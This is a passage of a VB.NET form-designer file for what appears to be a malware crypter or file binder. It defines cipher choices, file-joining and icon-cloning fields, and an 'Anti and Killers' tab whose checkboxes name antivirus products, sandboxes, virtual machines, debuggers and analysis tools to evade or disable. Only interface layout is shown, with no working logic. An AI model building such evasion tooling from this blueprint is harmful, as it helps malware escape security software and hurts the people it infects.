'RadioButton5 + ' + Me.RadioButton5.AutoSize = True + Me.RadioButton5.BackColor = System.Drawing.Color.Transparent + Me.RadioButton5.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton5.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton5.Location = New System.Drawing.Point(16, 124) + Me.RadioButton5.Name = "RadioButton5" + Me.RadioButton5.Size = New System.Drawing.Size(48, 17) + Me.RadioButton5.TabIndex = 96 + Me.RadioButton5.Text = "SRC2" + Me.RadioButton5.UseVisualStyleBackColor = False + ' + 'MButton4 + ' + Me.MButton4.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton4.ForeColor = System.Drawing.Color.Yellow + Me.MButton4.Location = New System.Drawing.Point(152, 178) + Me.MButton4.Name = "MButton4" + Me.MButton4.Size = New System.Drawing.Size(50, 21) + Me.MButton4.TabIndex = 95 + Me.MButton4.Text = "Remove" + ' + 'MButton3 + ' + Me.MButton3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton3.ForeColor = System.Drawing.Color.Yellow + Me.MButton3.Location = New System.Drawing.Point(16, 178) + Me.MButton3.Name = "MButton3" + Me.MButton3.Size = New System.Drawing.Size(130, 21) + Me.MButton3.TabIndex = 94 + Me.MButton3.Text = "Add Files to Join" + ' + 'MButton2 + ' + Me.MButton2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton2.ForeColor = System.Drawing.Color.Yellow + Me.MButton2.Location = New System.Drawing.Point(152, 205) + Me.MButton2.Name = "MButton2" + Me.MButton2.Size = New System.Drawing.Size(50, 21) + Me.MButton2.TabIndex = 93 + Me.MButton2.Text = "Browse" + ' + 'MButton1 + ' + Me.MButton1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton1.ForeColor = System.Drawing.Color.Yellow + Me.MButton1.Location = New System.Drawing.Point(152, 15) + Me.MButton1.Name = "MButton1" + Me.MButton1.Size = New System.Drawing.Size(50, 21) + Me.MButton1.TabIndex = 18 + Me.MButton1.Text = "Browse" + ' + 'RadioButton24 + ' + Me.RadioButton24.AutoSize = True + Me.RadioButton24.BackColor = System.Drawing.Color.Transparent + Me.RadioButton24.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton24.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton24.Location = New System.Drawing.Point(86, 147) + Me.RadioButton24.Name = "RadioButton24" + Me.RadioButton24.Size = New System.Drawing.Size(72, 17) + Me.RadioButton24.TabIndex = 17 + Me.RadioButton24.Text = "PolyStairs" + Me.RadioButton24.UseVisualStyleBackColor = False + ' + 'PictureBox2 + ' + Me.PictureBox2.Location = New System.Drawing.Point(223, 178) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(44, 37) + Me.PictureBox2.TabIndex = 11 + Me.PictureBox2.TabStop = False + ' + 'RadioButton10 + ' + Me.RadioButton10.AutoSize = True + Me.RadioButton10.BackColor = System.Drawing.Color.Transparent + Me.RadioButton10.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton10.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton10.Location = New System.Drawing.Point(207, 75) + Me.RadioButton10.Name = "RadioButton10" + Me.RadioButton10.Size = New System.Drawing.Size(52, 17) + Me.RadioButton10.TabIndex = 10 + Me.RadioButton10.Text = "Stairs" + Me.RadioButton10.UseVisualStyleBackColor = False + ' + 'RadioButton9 + ' + Me.RadioButton9.AutoSize = True + Me.RadioButton9.BackColor = System.Drawing.Color.Transparent + Me.RadioButton9.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton9.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton9.Location = New System.Drawing.Point(207, 98) + Me.RadioButton9.Name = "RadioButton9" + Me.RadioButton9.Size = New System.Drawing.Size(64, 17) + Me.RadioButton9.TabIndex = 9 + Me.RadioButton9.Text = "Rijndael" + Me.RadioButton9.UseVisualStyleBackColor = False + ' + 'RadioButton4 + ' + Me.RadioButton4.AutoSize = True + Me.RadioButton4.BackColor = System.Drawing.Color.Transparent + Me.RadioButton4.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton4.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton4.Location = New System.Drawing.Point(207, 29) + Me.RadioButton4.Name = "RadioButton4" + Me.RadioButton4.Size = New System.Drawing.Size(49, 17) + Me.RadioButton4.TabIndex = 7 + Me.RadioButton4.Text = "T-DES" + Me.RadioButton4.UseVisualStyleBackColor = False + ' + 'RadioButton3 + ' + Me.RadioButton3.AutoSize = True + Me.RadioButton3.BackColor = System.Drawing.Color.Transparent + Me.RadioButton3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton3.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton3.Location = New System.Drawing.Point(16, 147) + Me.RadioButton3.Name = "RadioButton3" + Me.RadioButton3.Size = New System.Drawing.Size(64, 17) + Me.RadioButton3.TabIndex = 8 + Me.RadioButton3.Text = "PolyXOR" + Me.RadioButton3.UseVisualStyleBackColor = False + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.BackColor = System.Drawing.Color.Transparent + Me.RadioButton2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton2.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton2.Location = New System.Drawing.Point(207, 52) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(44, 17) + Me.RadioButton2.TabIndex = 7 + Me.RadioButton2.Text = "XOR" + Me.RadioButton2.UseVisualStyleBackColor = False + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.BackColor = System.Drawing.Color.Transparent + Me.RadioButton1.Checked = True + Me.RadioButton1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton1.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton1.Location = New System.Drawing.Point(208, 6) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(43, 17) + Me.RadioButton1.TabIndex = 6 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "RC4" + Me.RadioButton1.UseVisualStyleBackColor = False + ' + 'TextBox2 + ' + Me.TextBox2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox2.Location = New System.Drawing.Point(16, 205) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ReadOnly = True + Me.TextBox2.Size = New System.Drawing.Size(130, 21) + Me.TextBox2.TabIndex = 5 + Me.TextBox2.Text = "Browse Icon to Use..." + ' + 'TextBox1 + ' + Me.TextBox1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox1.Location = New System.Drawing.Point(16, 15) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(130, 21) + Me.TextBox1.TabIndex = 1 + Me.TextBox1.Text = "Browse File to Protect..." + ' + 'TabPage2 + ' + Me.TabPage2.BackColor = System.Drawing.Color.Black + Me.TabPage2.Controls.Add(Me.Label2) + Me.TabPage2.Controls.Add(Me.CheckBox26) + Me.TabPage2.Controls.Add(Me.CheckBox25) + Me.TabPage2.Controls.Add(Me.CheckBox24) + Me.TabPage2.Controls.Add(Me.CheckBox23) + Me.TabPage2.Controls.Add(Me.CheckBox22) + Me.TabPage2.Controls.Add(Me.CheckBox21) + Me.TabPage2.Controls.Add(Me.CheckBox20) + Me.TabPage2.Controls.Add(Me.CheckBox19) + Me.TabPage2.Controls.Add(Me.CheckBox18) + Me.TabPage2.Controls.Add(Me.CheckBox17) + Me.TabPage2.Controls.Add(Me.CheckBox16) + Me.TabPage2.Controls.Add(Me.CheckBox15) + Me.TabPage2.Controls.Add(Me.CheckBox14) + Me.TabPage2.Controls.Add(Me.CheckBox13) + Me.TabPage2.Controls.Add(Me.CheckBox12) + Me.TabPage2.Controls.Add(Me.CheckBox11) + Me.TabPage2.Controls.Add(Me.CheckBox10) + Me.TabPage2.Controls.Add(Me.CheckBox9) + Me.TabPage2.Controls.Add(Me.CheckBox8) + Me.TabPage2.Controls.Add(Me.CheckBox7) + Me.TabPage2.Controls.Add(Me.CheckBox6) + Me.TabPage2.Controls.Add(Me.CheckBox5) + Me.TabPage2.Controls.Add(Me.CheckBox4) + Me.TabPage2.Controls.Add(Me.CheckBox3) + Me.TabPage2.Controls.Add(Me.CheckBox2) + Me.TabPage2.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TabPage2.Location = New System.Drawing.Point(4, 40) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(276, 231) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Anti and Killers" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.ForeColor = System.Drawing.Color.Yellow + Me.Label2.Location = New System.Drawing.Point(4, 195) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(183, 26) + Me.Label2.TabIndex = 25 + Me.Label2.Text = "NOTE: Antis might affect the execution" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "speed of the Protected Program" + Me.Label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'CheckBox26 + ' + Me.CheckBox26.AutoSize = True + Me.CheckBox26.BackColor = System.Drawing.Color.Transparent + Me.CheckBox26.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox26.Location = New System.Drawing.Point(193, 201) + Me.CheckBox26.Name = "CheckBox26" + Me.CheckBox26.Size = New System.Drawing.Size(69, 17) + Me.CheckBox26.TabIndex = 24 + Me.CheckBox26.Text = "Select All" + Me.CheckBox26.UseVisualStyleBackColor = False + ' + 'CheckBox25 + ' + Me.CheckBox25.AutoSize = True + Me.CheckBox25.BackColor = System.Drawing.Color.Transparent + Me.CheckBox25.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox25.Location = New System.Drawing.Point(193, 178) + Me.CheckBox25.Name = "CheckBox25" + Me.CheckBox25.Size = New System.Drawing.Size(45, 17) + Me.CheckBox25.TabIndex = 23 + Me.CheckBox25.Text = "AVG" + Me.CheckBox25.UseVisualStyleBackColor = False + ' + 'CheckBox24 + ' + Me.CheckBox24.AutoSize = True + Me.CheckBox24.BackColor = System.Drawing.Color.Transparent + Me.CheckBox24.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox24.Location = New System.Drawing.Point(193, 155) + Me.CheckBox24.Name = "CheckBox24" + Me.CheckBox24.Size = New System.Drawing.Size(52, 17) + Me.CheckBox24.TabIndex = 22 + Me.CheckBox24.Text = "Avast" + Me.CheckBox24.UseVisualStyleBackColor = False + ' + 'CheckBox23 + ' + Me.CheckBox23.AutoSize = True + Me.CheckBox23.BackColor = System.Drawing.Color.Transparent + Me.CheckBox23.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox23.Location = New System.Drawing.Point(193, 132) + Me.CheckBox23.Name = "CheckBox23" + Me.CheckBox23.Size = New System.Drawing.Size(50, 17) + Me.CheckBox23.TabIndex = 21 + Me.CheckBox23.Text = "Avira" + Me.CheckBox23.UseVisualStyleBackColor = False + ' + 'CheckBox22 + ' + Me.CheckBox22.AutoSize = True + Me.CheckBox22.BackColor = System.Drawing.Color.Transparent + Me.CheckBox22.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox22.Location = New System.Drawing.Point(193, 109) + Me.CheckBox22.Name = "CheckBox22" + Me.CheckBox22.Size = New System.Drawing.Size(59, 17) + Me.CheckBox22.TabIndex = 20 + Me.CheckBox22.Text = "Joebox" + Me.CheckBox22.UseVisualStyleBackColor = False + ' + 'CheckBox21 + ' + Me.CheckBox21.AutoSize = True + Me.CheckBox21.BackColor = System.Drawing.Color.Transparent + Me.CheckBox21.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox21.Location = New System.Drawing.Point(193, 86) + Me.CheckBox21.Name = "CheckBox21" + Me.CheckBox21.Size = New System.Drawing.Size(64, 17) + Me.CheckBox21.TabIndex = 19 + Me.CheckBox21.Text = "Outpost" + Me.CheckBox21.UseVisualStyleBackColor = False + ' + 'CheckBox20 + ' + Me.CheckBox20.AutoSize = True + Me.CheckBox20.BackColor = System.Drawing.Color.Transparent + Me.CheckBox20.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox20.Location = New System.Drawing.Point(193, 63) + Me.CheckBox20.Name = "CheckBox20" + Me.CheckBox20.Size = New System.Drawing.Size(51, 17) + Me.CheckBox20.TabIndex = 18 + Me.CheckBox20.Text = "Wine" + Me.CheckBox20.UseVisualStyleBackColor = False + ' + 'CheckBox19 + ' + Me.CheckBox19.AutoSize = True + Me.CheckBox19.BackColor = System.Drawing.Color.Transparent + Me.CheckBox19.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox19.Location = New System.Drawing.Point(193, 40) + Me.CheckBox19.Name = "CheckBox19" + Me.CheckBox19.Size = New System.Drawing.Size(62, 17) + Me.CheckBox19.TabIndex = 17 + Me.CheckBox19.Text = "SunBelt" + Me.CheckBox19.UseVisualStyleBackColor = False + ' + 'CheckBox18 + ' + Me.CheckBox18.AutoSize = True + Me.CheckBox18.BackColor = System.Drawing.Color.Transparent + Me.CheckBox18.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox18.Location = New System.Drawing.Point(193, 17) + Me.CheckBox18.Name = "CheckBox18" + Me.CheckBox18.Size = New System.Drawing.Size(64, 17) + Me.CheckBox18.TabIndex = 16 + Me.CheckBox18.Text = "Norman" + Me.CheckBox18.UseVisualStyleBackColor = False + ' + 'CheckBox17 + ' + Me.CheckBox17.AutoSize = True + Me.CheckBox17.BackColor = System.Drawing.Color.Transparent + Me.CheckBox17.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox17.Location = New System.Drawing.Point(93, 178) + Me.CheckBox17.Name = "CheckBox17" + Me.CheckBox17.Size = New System.Drawing.Size(74, 17) + Me.CheckBox17.TabIndex = 15 + Me.CheckBox17.Text = "HijackThis" + Me.CheckBox17.UseVisualStyleBackColor = False + ' + 'CheckBox16 + ' + Me.CheckBox16.AutoSize = True + Me.CheckBox16.BackColor = System.Drawing.Color.Transparent + Me.CheckBox16.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox16.Location = New System.Drawing.Point(93, 155) + Me.CheckBox16.Name = "CheckBox16" + Me.CheckBox16.Size = New System.Drawing.Size(81, 17) + Me.CheckBox16.TabIndex = 14 + Me.CheckBox16.Text = "ESET NOD32" + Me.CheckBox16.UseVisualStyleBackColor = False + ' + 'CheckBox15 + ' + Me.CheckBox15.AutoSize = True + Me.CheckBox15.BackColor = System.Drawing.Color.Transparent + Me.CheckBox15.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox15.Location = New System.Drawing.Point(93, 132) + Me.CheckBox15.Name = "CheckBox15" + Me.CheckBox15.Size = New System.Drawing.Size(67, 17) + Me.CheckBox15.TabIndex = 13 + Me.CheckBox15.Text = "VMWare" + Me.CheckBox15.UseVisualStyleBackColor = False + ' + 'CheckBox14 + ' + Me.CheckBox14.AutoSize = True + Me.CheckBox14.BackColor = System.Drawing.Color.Transparent + Me.CheckBox14.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox14.Location = New System.Drawing.Point(93, 109) + Me.CheckBox14.Name = "CheckBox14" + Me.CheckBox14.Size = New System.Drawing.Size(74, 17) + Me.CheckBox14.TabIndex = 12 + Me.CheckBox14.Text = "OllyDebug" + Me.CheckBox14.UseVisualStyleBackColor = False + ' + 'CheckBox13 + ' + Me.CheckBox13.AutoSize = True + Me.CheckBox13.BackColor = System.Drawing.Color.Transparent + Me.CheckBox13.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox13.Location = New System.Drawing.Point(93, 86) + Me.CheckBox13.Name = "CheckBox13" + Me.CheckBox13.Size = New System.Drawing.Size(74, 17) + Me.CheckBox13.TabIndex = 11 + Me.CheckBox13.Text = "Kaspersky" + Me.CheckBox13.UseVisualStyleBackColor = False + ' + 'CheckBox12 + ' + Me.CheckBox12.AutoSize = True + Me.CheckBox12.BackColor = System.Drawing.Color.Transparent + Me.CheckBox12.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox12.Location = New System.Drawing.Point(93, 63) + Me.CheckBox12.Name = "CheckBox12" + Me.CheckBox12.Size = New System.Drawing.Size(77, 17) + Me.CheckBox12.TabIndex = 10 + Me.CheckBox12.Text = "ZoneAlarm" + Me.CheckBox12.UseVisualStyleBackColor = False + ' + 'CheckBox11 + ' + Me.CheckBox11.AutoSize = True + Me.CheckBox11.BackColor = System.Drawing.Color.Transparent + Me.CheckBox11.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox11.Location = New System.Drawing.Point(93, 40) + Me.CheckBox11.Name = "CheckBox11" + Me.CheckBox11.Size = New System.Drawing.Size(56, 17) + Me.CheckBox11.TabIndex = 9 + Me.CheckBox11.Text = "Panda" + Me.CheckBox11.UseVisualStyleBackColor = False + ' + 'CheckBox10 + ' + Me.CheckBox10.AutoSize = True + Me.CheckBox10.BackColor = System.Drawing.Color.Transparent + Me.CheckBox10.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox10.Location = New System.Drawing.Point(93, 17) + Me.CheckBox10.Name = "CheckBox10" + Me.CheckBox10.Size = New System.Drawing.Size(94, 17) + Me.CheckBox10.TabIndex = 8 + Me.CheckBox10.Text = "Malwarebytes" + Me.CheckBox10.UseVisualStyleBackColor = False + ' + 'CheckBox9 + ' + Me.CheckBox9.AutoSize = True + Me.CheckBox9.BackColor = System.Drawing.Color.Transparent + Me.CheckBox9.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox9.Location = New System.Drawing.Point(7, 178) + Me.CheckBox9.Name = "CheckBox9" + Me.CheckBox9.Size = New System.Drawing.Size(82, 17) + Me.CheckBox9.TabIndex = 7 + Me.CheckBox9.Text = "Bitdefender" + Me.CheckBox9.UseVisualStyleBackColor = False + ' + 'CheckBox8 + ' + Me.CheckBox8.AutoSize = True + Me.CheckBox8.BackColor = System.Drawing.Color.Transparent + Me.CheckBox8.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox8.Location = New System.Drawing.Point(7, 155) + Me.CheckBox8.Name = "CheckBox8" + Me.CheckBox8.Size = New System.Drawing.Size(80, 17) + Me.CheckBox8.TabIndex = 6 + Me.CheckBox8.Text = "Kscrambler" + Me.CheckBox8.UseVisualStyleBackColor = False + ' + 'CheckBox7 + ' + Me.CheckBox7.AutoSize = True + Me.CheckBox7.BackColor = System.Drawing.Color.Transparent + Me.CheckBox7.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox7.Location = New System.Drawing.Point(7, 132) + Me.CheckBox7.Name = "CheckBox7" + Me.CheckBox7.Size = New System.Drawing.Size(75, 17) + Me.CheckBox7.TabIndex = 5 + Me.CheckBox7.Text = "Sandboxie" + Me.CheckBox7.UseVisualStyleBackColor = False + ' + 'CheckBox6 + ' + Me.CheckBox6.AutoSize = True + Me.CheckBox6.BackColor = System.Drawing.Color.Transparent + Me.CheckBox6.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox6.Location = New System.Drawing.Point(7, 109) + Me.CheckBox6.Name = "CheckBox6" + Me.CheckBox6.Size = New System.Drawing.Size(77, 17) + Me.CheckBox6.TabIndex = 4 + Me.CheckBox6.Text = "Virtual Box" + Me.CheckBox6.UseVisualStyleBackColor = False + ' + 'CheckBox5 + ' + Me.CheckBox5.AutoSize = True + Me.CheckBox5.BackColor = System.Drawing.Color.Transparent + Me.CheckBox5.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox5.Location = New System.Drawing.Point(7, 86) + Me.CheckBox5.Name = "CheckBox5" + Me.CheckBox5.Size = New System.Drawing.Size(72, 17) + Me.CheckBox5.TabIndex = 3 + Me.CheckBox5.Text = "Virtual PC" + Me.CheckBox5.UseVisualStyleBackColor = False + ' + 'CheckBox4 + ' + Me.CheckBox4.AutoSize = True + Me.CheckBox4.BackColor = System.Drawing.Color.Transparent + Me.CheckBox4.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox4.Location = New System.Drawing.Point(7, 63) + Me.CheckBox4.Name = "CheckBox4" + Me.CheckBox4.Size = New System.Drawing.Size(75, 17) + Me.CheckBox4.TabIndex = 2 + Me.CheckBox4.Text = "Wireshark" + Me.CheckBox4.UseVisualStyleBackColor = False + ' + 'CheckBox3 + ' + Me.CheckBox3.AutoSize = True + Me.CheckBox3.BackColor = System.Drawing.Color.Transparent + Me.CheckBox3.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox3.Location = New System.Drawing.Point(7, 40) + Me.CheckBox3.Name = "CheckBox3" + Me.CheckBox3.Size = New System.Drawing.Size(66, 17) + Me.CheckBox3.TabIndex = 1 + Me.CheckBox3.Text = "Anubis 2" + Me.CheckBox3.UseVisualStyleBackColor = False + ' + 'CheckBox2 + ' + Me.CheckBox2.AutoSize = True + Me.CheckBox2.BackColor = System.Drawing.Color.Transparent + Me.CheckBox2.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox2.Location = New System.Drawing.Point(7, 17) + Me.CheckBox2.Name = "CheckBox2" + Me.CheckBox2.Size = New System.Drawing.Size(58, 17) + Me.CheckBox2.TabIndex = 0 + Me.CheckBox2.Text = "Anubis" + Me.CheckBox2.UseVisualStyleBackColor = False + ' + 'TabPage3 + ' + Me.TabPage3.BackColor = System.Drawing.Color.Black + Me.TabPage3.Controls.Add(Me.GroupBox1) + Me.TabPage3.Location = New System.Drawing.Point(4, 40) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Size = New System.Drawing.Size(276, 231) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = " Assembly " + ' + 'GroupBox1 + ' + Me.GroupBox1.BackColor = System.Drawing.Color.Transparent + Me.GroupBox1.Controls.Add(Me.MButton11) + Me.GroupBox1.Controls.Add(Me.MButton7) + Me.GroupBox1.Controls.Add(Me.TextBox17) + Me.GroupBox1.Controls.Add(Me.NumericUpDown4) + Me.GroupBox1.Controls.Add(Me.NumericUpDown3) + Me.GroupBox1.Controls.Add(Me.NumericUpDown2) + Me.GroupBox1.Controls.Add(Me.Label6) + Me.GroupBox1.Controls.Add(Me.NumericUpDown1) + Me.GroupBox1.Controls.Add(Me.Label5) + Me.GroupBox1.Controls.Add(Me.TextBox7) + Me.GroupBox1.Controls.Add(Me.Label4) + Me.GroupBox1.Controls.Add(Me.TextBox6) + Me.GroupBox1.Controls.Add(Me.Label3) + Me.GroupBox1.Controls.Add(Me.TextBox5) + Me.GroupBox1.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.GroupBox1.ForeColor = System.Drawing.Color.Yellow + Me.GroupBox1.Location = New System.Drawing.Point(3, 3) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(268, 225) + Me.GroupBox1.TabIndex = 0 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "Assembly Settings" + ' + 'MButton11 + ' + Me.MButton11.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton11.ForeColor = System.Drawing.Color.Yellow + Me.MButton11.Location = New System.Drawing.Point(13, 195) + Me.MButton11.Name = "MButton11" + Me.MButton11.Size = New System.Drawing.Size(249, 21) + Me.MButton11.TabIndex = 98 + Me.MButton11.Text = "Clear Assembly" + ' + 'MButton7 + ' + Me.MButton7.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton7.ForeColor = System.Drawing.Color.Yellow + Me.MButton7.Location = New System.Drawing.Point(195, 168) + Me.MButton7.Name = "MButton7" + Me.MButton7.Size = New System.Drawing.Size(67, 21) + Me.MButton7.TabIndex = 97 + Me.MButton7.Text = "Browse" + ' + 'TextBox17 + ' + Me.TextBox17.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox17.Location = New System.Drawing.Point(13, 168) + Me.TextBox17.Name = "TextBox17" + Me.TextBox17.Size = New System.Drawing.Size(176, 21) + Me.TextBox17.TabIndex = 37 + Me.TextBox17.Text = "File Clone Origin..." + ' + 'NumericUpDown4 + ' + Me.NumericUpDown4.Location = New System.Drawing.Point(179, 132) + Me.NumericUpDown4.Name = "NumericUpDown4" + Me.NumericUpDown4.Size = New System.Drawing.Size(35, 21) + Me.NumericUpDown4.TabIndex = 35 + ' + 'NumericUpDown3 + ' + Me.NumericUpDown3.Location = New System.Drawing.Point(138, 132) + Me.NumericUpDown3.Name = "NumericUpDown3" + Me.NumericUpDown3.Size = New System.Drawing.Size(35, 21) + Me.NumericUpDown3.TabIndex = 34 + ' + 'NumericUpDown2 + ' + Me.NumericUpDown2.Location = New System.Drawing.Point(97, 132) + Me.NumericUpDown2.Name = "NumericUpDown2" + Me.NumericUpDown2.Size = New System.Drawing.Size(35, 21) + Me.NumericUpDown2.TabIndex = 33 + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.BackColor = System.Drawing.Color.Transparent + Me.Label6.ForeColor = System.Drawing.Color.Yellow + Me.Label6.Location = New System.Drawing.Point(74, 107) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(128, 13) + Me.Label6.TabIndex = 32 + Me.Label6.Text = "File and Assembly Version" + Me.Label6.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.Location = New System.Drawing.Point(56, 132) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(35, 21) + Me.NumericUpDown1.TabIndex = 31 + Me.NumericUpDown1.Value = New Decimal(New Integer() {1, 0, 0, 0}) + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.BackColor = System.Drawing.Color.Transparent + Me.Label5.ForeColor = System.Drawing.Color.Yellow + Me.Label5.Location = New System.Drawing.Point(19, 77) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(52, 13) + Me.Label5.TabIndex = 30 + Me.Label5.Text = "Copyright" + Me.Label5.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'TextBox7 + ' + Me.TextBox7.Location = New System.Drawing.Point(77, 74) + Me.TextBox7.Name = "TextBox7" + Me.TextBox7.Size = New System.Drawing.Size(161, 21) + Me.TextBox7.TabIndex = 29 + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.BackColor = System.Drawing.Color.Transparent + Me.Label4.ForeColor = System.Drawing.Color.Yellow + Me.Label4.Location = New System.Drawing.Point(20, 50) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(51, 13) + Me.Label4.TabIndex = 28 + Me.Label4.Text = "Company" + Me.Label4.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'TextBox6 + ' + Me.TextBox6.Location = New System.Drawing.Point(77, 47) + Me.TextBox6.Name = "TextBox6" + Me.TextBox6.Size = New System.Drawing.Size(161, 21) + Me.TextBox6.TabIndex = 27 + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.BackColor = System.Drawing.Color.Transparent + Me.Label3.ForeColor = System.Drawing.Color.Yellow + Me.Label3.Location = New System.Drawing.Point(10, 23) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(61, 13) + Me.Label3.TabIndex = 26 + Me.Label3.Text = "Description" + Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter + ' + 'TextBox5 + ' + Me.TextBox5.Location = New System.Drawing.Point(77, 20) + Me.TextBox5.Name = "TextBox5" + Me.TextBox5.Size = New System.Drawing.Size(161, 21) + Me.TextBox5.TabIndex = 0 + ' + 'TabPage4 + ' + Me.TabPage4.BackColor = System.Drawing.Color.Black + Me.TabPage4.Controls.Add(Me.GroupBox6) + Me.TabPage4.Controls.Add(Me.GroupBox3) + Me.TabPage4.Controls.Add(Me.CheckBox28) + Me.TabPage4.Controls.Add(Me.GroupBox2) + Me.TabPage4.Location = 